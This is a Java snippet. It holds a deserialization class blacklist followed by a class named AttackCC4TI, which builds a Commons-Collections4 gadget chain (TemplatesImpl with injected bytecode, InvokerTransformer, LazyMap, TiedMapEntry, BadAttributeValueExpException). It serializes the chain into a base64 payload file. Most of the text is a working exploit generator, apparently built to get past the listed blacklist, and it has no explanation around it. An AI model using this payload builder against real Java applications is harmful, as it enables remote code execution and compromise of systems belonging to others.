BLACKLIST.add("com.sun.jndi");
BLACKLIST.add("com.fasterxml.jackson");
BLACKLIST.add("org.springframework");
BLACKLIST.add("com.sun.rowset.JdbcRowSetImpl");
BLACKLIST.add("java.security.SignedObject");
BLACKLIST.add("java.sql.DriverManager");
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
BLACKLIST.add("org.postgresql.ssl.MakeSSL");
BLACKLIST.add("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class AttackCC4TI {
    public static void main(String[] args) throws Exception {
        byte[] bytes = generate();
        String b64 = Base64.getEncoder().encodeToString(bytes);
        java.nio.file.Files.write(java.nio.file.Paths.get("payload.txt"), b64.getBytes("UTF-8"));
        System.out.println("OK payload.txt");
    }

    static byte[] generate() throws Exception {
        byte[] clazz = readAll("EchoPayload.class");
        TemplatesImpl templates = new TemplatesImpl();
        set(templates, "_name", "pwn");
        set(templates, "_bytecodes", new byte[][]{clazz});
        set(templates, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", new Class[0], new Object[0])
        };
        Transformer chain = new ChainedTransformer(transformers);

        Map inner = new HashMap();
        Map lazy = LazyMap.lazyMap(inner, new ConstantTransformer(1));
        TiedMapEntry entry = new TiedMapEntry(lazy, "foo");
        BadAttributeValueExpException bae = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(bae, entry);
        Field fac = lazy.getClass().getDeclaredField("factory");
        fac.setAccessible(true);
        fac.set(lazy, chain);

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(bae);
        oos.close();
        return baos.toByteArray();
    }

    static void set(Object obj, String f, Object v) throws Exception {
        Field field = obj.getClass().getDeclaredField(f);
        field.setAccessible(true);
        field.set(obj, v);
    }

    static byte[] readAll(String path) throws Exception {
        File file = new File(path);
        InputStream is = new FileInputStream(file);
        byte[] buf = new byte[(int) file.length()];
        int off = 0;
        int n;
        while ((n = is.read(buf, off, buf.length - off)) > 0) off += n;
        is.close();
        return buf;
    }
}